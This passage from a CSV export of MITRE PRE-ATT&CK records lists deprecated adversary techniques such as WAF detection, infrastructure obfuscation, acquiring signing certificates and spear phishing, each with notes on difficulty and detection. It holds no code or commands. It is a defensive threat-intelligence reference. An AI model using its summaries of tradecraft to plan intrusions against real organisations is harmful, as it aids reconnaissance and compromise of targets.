'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1256,mitre-pre-attack,T1256,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Identify web defensive services,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1256). - -An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)",attack-pattern--288b3cc3-f4da-4250-ab8c-d8b5dbed94ca,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1033,"Adversary can passively detect services (e.g., [https://www.cloudflare.com/ CloudFlare] routing) or actively detect services (e.g., by purposefully tripping security defenses)",Yes,Active service detection may trigger an alert. Passive service enumeration is not detected.,Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1257', 'external_id': 'T1257'}, {'source_name': 'FunAndSun2012', 'description': 'Jeff Bardin. (2012, October 10). OSINT and Cyber Intelligence - Fun and Sun in Miami. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1257,mitre-pre-attack,T1257,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Mine technical blogs/forums,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257). - -Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)",attack-pattern--a54a7708-8f64-45f3-ad51-1abf976986a0,attack-pattern,['technical-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1034,Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.,Yes,Cannot detect access to public sites.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1309', 'external_id': 'T1309'}, {'source_name': 'LUCKYCAT2012', 'description': 'Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1309,mitre-pre-attack,T1309,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obfuscate infrastructure,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1309). - -Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: LUCKYCAT2012)",attack-pattern--e6ca2820-a564-4b74-b42a-b6bdf052e5b6,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1086,"Adversary has a variety of solutions, ranging in difficulty, that can be employed (e.g., BGP hijacking, tunneling, reflection, multi-hop, etc.) -Adversary can also use misattributable credentials to obtain servers, build environment, [https://aws.amazon.com Amazon Web Services] (AWS) accounts, etc.",Yes,"Difficult, but defender is well aware of technique and attempts to find discrepancies.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1392', 'external_id': 'T1392'}, {'source_name': 'Apple Developer Enterprise Porgram Apps', 'description': 'Apple Inc.. (2016). Distributing Apple Developer Enterprise Program Apps. Retrieved April 12, 2017.'}, {'source_name': 'Fruit vs Zombies', 'description': 'Claud Xiao. (2016). Fruit vs Zombies: Defeat Non-jailbroken iOS Malware. Retrieved April 12, 2017.'}, {'source_name': 'WIRELURKER', 'description': 'Claud Xiao. (2014). WIRELURKER: A New Era in iOS and OS X Malware. Retrieved April 12, 2017.'}, {'source_name': 'Sideloading Change', 'description': 'David Richardson. (2015, September 10). Change to sideloading apps in iOS 9 is a security win. Retrieved April 12, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'persona-development'}]",1.0,,https://attack.mitre.org/techniques/T1392,mitre-pre-attack,T1392,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Obtain Apple iOS enterprise distribution key pair and certificate,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1392). - -The adversary can obtain an Apple iOS enterprise distribution key pair and certificate and use it to distribute malicious apps directly to Apple iOS devices without the need to publish the apps to the Apple App Store (where the apps could potentially be detected). (Citation: Apple Developer Enterprise Porgram Apps) (Citation: Fruit vs Zombies) (Citation: WIRELURKER) (Citation: Sideloading Change)",attack-pattern--d58f3996-e293-4f69-a2c8-0e1851cb8297,attack-pattern,['persona-development'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1169,"Apple requires a DUNS number, corporate documentation, and $299 to obtain an enterprise distribution certificate. Additionally, Apple revokes certificates if they discover malicious use. However, the enrollment information could be falsified to Apple by an adversary, or an adversary could steal an existing enterprise distribution certificate (and the corresponding private key) from a business that already possesses one.",No,"Starting in iOS 9, Apple has changed the user interface when installing apps to better indicate to users the potential implications of installing apps signed by an enterprise distribution key rather than from Apple's App Store and to make it more difficult for users to inadvertently install these apps. Additionally, enterprise management controls are available that can be imposed to prevent installing these apps. Also, enterprise mobility management / mobile device management (EMM/MDM) systems can be used to scan for the presence of undesired apps on enterprise mobile devices.",Partial, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1363', 'external_id': 'T1363'}, {'source_name': 'SecureWorks HTRAN Analysis', 'description': 'JOE STEWART. (2011, August 3). HTran and the Advanced Persistent Threat. Retrieved March 28, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'stage-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1363,mitre-pre-attack,T1363,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Port redirector,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363). - -Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)",attack-pattern--13ff5307-b650-405a-9664-d8076930b2bf,attack-pattern,['stage-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1140,"Adversary has control of the infrastructure and will likely be able to add/remove tools to infrastructure, whether acquired via hacking or standard computer acquisition (e.g., [https://aws.amazon.com AWS], VPS providers).",Yes,"Infrastructure is (typically) outside of control/visibility of defender and as such as tools are staged for specific campaigns, it will not be observable to those being attacked.",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1373', 'url': 'https://attack.mitre.org/techniques/T1373'}, {'description': 'Joshua Drake. (2015, August 5). Stagefright: Scary Code in the Heart of Android. Retrieved March 29, 2017.', 'source_name': 'BlackHat Stagefright'}, {'description': 'Wikipedia contributors. (2017, March 8). Stagefright (bug). Retrieved March 9, 2017.', 'source_name': 'WikiStagefright'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1373,mitre-pre-attack,T1373,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Push-notification client-side exploit,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)",attack-pattern--702dc95d-3266-42dc-9eef-4a19e2445148,attack-pattern,['launch'],2020-03-30T14:22:23.446Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1150,Easily executed technique to push an MMS-type message to the target which does not require interaction on the part of the target to be successful.,Yes,"For non-corporate cellular devices not joined to the corporate network, it is not possible to detect an adversary's use of the technique because messages traverse networks outside of the control of the employer. For corporate cellular devices which are joined to the corporate network, monitoring of messages and ability to patch against push attacks is possible, assuming they are fully monitored.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1291', 'external_id': 'T1291'}, {'source_name': 'WeaponsVulnerable', 'description': 'Jack Smith IV. (2015, January 22). Pentagon Chief Weapons Tester: Almost All Military Programs Vulnerable to Cyber-Attacks. Retrieved March 5, 2017.'}, {'source_name': 'KasperskyCarbanak', 'description': ""Kaspersky Lab's Global Research & Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 27, 2017."", 'url': 'https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'technical-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1291,mitre-pre-attack,T1291,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Research relevant vulnerabilities/CVEs,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291). - -Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)",attack-pattern--abd5bed1-4c12-45de-a623-ab8dc4ff862a,attack-pattern,['technical-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1068,"Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.",Yes,Public source external to the defender's organization.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1338', 'external_id': 'T1338'}, {'source_name': 'SubvertSSL', 'description': 'Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'establish-&-maintain-infrastructure'}]",1.0,,https://attack.mitre.org/techniques/T1338,mitre-pre-attack,T1338,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SSL certificate acquisition for trust breaking,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338). - -Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)",attack-pattern--54a42187-a20c-4e4e-ba31-8d15c9e1f57f,attack-pattern,['establish-&-maintain-infrastructure'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1115,One example of it occurring in the real world is the DigiNotarDigiNotar2016 case. To be able to do this usually requires sophisticated skills and is traditionally done by a nation state to spy on its citizens.,No,"The certificate authority who is hacked cannot easily see they've been compromised, but [https://www.google.com Google] has caught on to this occurring in previous attacks such as DigiNotarDigiNotar2016 and [https://www.verisign.com Verisign].",No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1368', 'url': 'https://attack.mitre.org/techniques/T1368'}, {'description': 'Sophos Labs. (2006, July 7). PayPal phone phish scam uses voice recording to steal money. Retrieved March 29, 2017.', 'source_name': 'Paypal Phone Scam'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1368,mitre-pre-attack,T1368,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spear phishing messages with text only,"**This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.** - -Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)",attack-pattern--2fc04aa5-48c1-49ec-919a-b88241ef1d17,attack-pattern,['launch'],2020-03-30T14:26:25.555Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1145,"Sending messages with text only should be accepted in most cases (e.g., not being filtered based on source, content).",Yes,"End user training and awareness is the primary defense for flagging a plain text email so the end user does not respond or take any requested action (e.g., calling a designated number).",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1240', 'external_id': 'T1240'}, {'source_name': 'Heffter', 'description': 'Clyde R. Heffter. (2011, August 4). A Fresh Look at Collection Requirements. Retrieved March 2, 2017.'}, {'source_name': 'JP2-01', 'description': 'Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-direction'}]",1.0,,https://attack.mitre.org/techniques/T1240,mitre-pre-attack,T1240,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Task requirements,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1240). - -Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)",attack-pattern--b93bd611-da4e-4c84-a40f-325b712bed67,attack-pattern,['priority-definition-direction'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1017,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1360', 'external_id': 'T1360'}, {'source_name': 'OCIAC Pre Incident Indicators', 'description': 'Orange County Intelligence Assessment Center. (n.d.). Pre-Incident Indicators. Retrieved March 28, 2017.'}, {'source_name': 'NewsAgencySpy', 'description': 'The Canadian Press. (2012, August 22). Reporter says Chinese news agency asked him to spy. Retrieved March 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'test-capabilities'}]",1.0,,https://attack.mitre.org/techniques/T1360,mitre-pre-attack,T1360,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Test physical access,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1360). - -An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)",attack-pattern--18bfa01c-9fa9-409f-91f5-4a2822609d81,attack-pattern,['test-capabilities'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1137,"Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)",No,"Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.",Yes, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1370', 'url': 'https://attack.mitre.org/techniques/T1370'}, {'description': 'Bill Marczak, Jakub Dalek, John Scott-Railton, Ron Deibert, Sarah McKune. (2015, April 10). China’s Great Cannon. Retrieved March 9, 2017.', 'source_name': 'CitizenLabGreatCannon'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'launch'}]",1.0,False,https://attack.mitre.org/techniques/T1370,mitre-pre-attack,T1370,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Untargeted client-side exploitation,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)",attack-pattern--2ec57bf1-fcc3-4c19-9516-79b7fde483af,attack-pattern,['launch'],2020-03-30T14:30:45.039Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1147,Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.,Yes,"Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.",Yes, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1277', 'external_id': 'T1277'}, {'source_name': 'SANSThreatProfile', 'description': 'Stephen Irwin. (2014, September 8). Creating a Threat Profile for Your Organization. Retrieved March 5, 2017.'}, {'source_name': 'Infosec-osint', 'description': 'InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017.'}, {'source_name': 'isight-osint', 'description': 'Dawn Lomer. (2017). 101+ OSINT Resources for Investigators. Retrieved May 9, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-information-gathering'}]",1.0,,https://attack.mitre.org/techniques/T1277,mitre-pre-attack,T1277,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire OSINT data sets and information,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277). - -Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)",attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88,attack-pattern,['organizational-information-gathering'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1054,"Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.",Yes,This activity is indistinguishable from legitimate business uses and easy to obtain.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1310', 'external_id': 'T1310'}, {'description': 'Brad Arkin. (2012, September 27). Inappropriate Use of Adobe Code Signing Certificate. Retrieved March 28, 2017.', 'source_name': 'Adobe Code Signing Cert'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'adversary-opsec'}]",1.0,,https://attack.mitre.org/techniques/T1310,mitre-pre-attack,T1310,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Acquire or compromise 3rd party signing certificates,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1310). - -Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)",attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59,attack-pattern,['adversary-opsec'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1087,It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms,No,Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1301', 'external_id': 'T1301'}, {'source_name': 'Warwick2015', 'description': 'Warwick Ashford. (2015, March). Cyber crime: What every business needs to know. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1301,mitre-pre-attack,T1301,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze business processes,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301). - -Business processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)",attack-pattern--57619ab3-f6a5-43c8-8dd1-b0b8a986a870,attack-pattern,['organizational-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1078,"To get any kind of fidelity into business processes would require insider access. Basic processes could be mapped, but understanding where in the organization these processes take place and who to target during any given phase of the process would generally be difficult.",No,Social engineering and other attempts to learn about business practices and processes would not immediately be associated with an impending cyber event.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1297', 'external_id': 'T1297'}, {'source_name': 'FakeLinkedIn', 'description': 'LIFARS. (2015, October 8). Hackers Fake LinkedIn Profiles to Scout Targets. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'people-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1297,mitre-pre-attack,T1297,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Analyze organizational skillsets and deficiencies,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1297). - -Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)",attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41,attack-pattern,['people-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1074,Job postings have to be made public for contractors and many times have the name of the organization being supported.,Yes,No access to who is consuming the job postings to know what is being observed.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1236', 'external_id': 'T1236'}, {'source_name': 'CyberAdvertisingChar', 'description': 'Tom Parker, Matt Devost, Marcus Sachs, and Toby Miller. (2003). Cyber Adversary Characterization. Retrieved March 5, 2017.'}, {'source_name': 'CIATradecraft', 'description': 'Central Intelligence Agency. (2009). A Tradecraft Primer: Structured Analytic Techniques for Improving Intelligence Analysis. Retrieved March 5, 2017.'}, {'source_name': 'ForensicAdversaryModeling', 'description': 'John Lowry, Rico Valdez, Brad Wood. (n.d.). Adversary Modeling to Develop Forensic Observables. Retrieved March 5, 2017.'}, {'source_name': 'CyberAdversaryBehavior', 'description': 'Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'priority-definition-planning'}]",1.0,,https://attack.mitre.org/techniques/T1236,mitre-pre-attack,T1236,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Assess current holdings, needs, and wants","This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1236). - -Analysts assess current information available against requirements that outline needs and wants as part of the research baselining process to begin satisfying a requirement. (Citation: CyberAdvertisingChar) (Citation: CIATradecraft) (Citation: ForensicAdversaryModeling) (Citation: CyberAdversaryBehavior)",attack-pattern--8e927b19-04a6-4aaa-a42f-4f0a53411d27,attack-pattern,['priority-definition-planning'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1013,Normal aspect of adversary planning lifecycle. May not be done by all adversaries.,Yes,"Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.",No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1298', 'external_id': 'T1298'}, {'source_name': 'Zetter2015Threats', 'description': 'Kim Zetter. (2015, January 4). The Biggest Security Threats We’ll Face in 2015. Retrieved March 5, 2017.'}, {'source_name': 'WSJTargetBreach', 'description': ""Paul Ziobro. (2014, February 6). Target Breach Began With Contractor's Electronic Billing Link. Retrieved March 6, 2017.""}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'organizational-weakness-identification'}]",1.0,,https://attack.mitre.org/techniques/T1298,mitre-pre-attack,T1298,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Assess vulnerability of 3rd party vendors,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298). - -Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)",attack-pattern--1def484d-2343-470d-8925-88f45b5f9615,attack-pattern,['organizational-weakness-identification'],2020-10-26T13:42:49.342Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1075,The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.,Yes,3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.,No, -"[{'source_name': 'mitre-pre-attack', 'external_id': 'T1384', 'url': 'https://attack.mitre.org/techniques/T1384'}, {'description': 'Paul Stone & Alex Chapman. (2015, August 5). WSUSpect: Compromising the Windows Enterprise via Windows Update. Retrieved March 1, 2017.', 'source_name': 'WSUSpect2015'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 'compromise'}]",1.0,False,https://attack.mitre.org/techniques/T1384,mitre-pre-attack,T1384,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Automated system performs requested action,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)",attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729,attack-pattern,['compromise'],2020-03-30T14:15:05.089Z,2017-12-14T16:46:06.044Z,,,,,,,,,,,,,,True,PRE-T1161,"Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).",Yes,Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.,No, -"[{'source_name': 'mitre-pre-attack', 'url': 'https://attack.mitre.org/techniques/T1352', 'external_id': 'T1352'}, {'source_name': 'HAMMERTOSS2015', 'description': 'FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017.'}]","[{'kill_chain_name': 'mitre-pre-attack', 'phase_name': 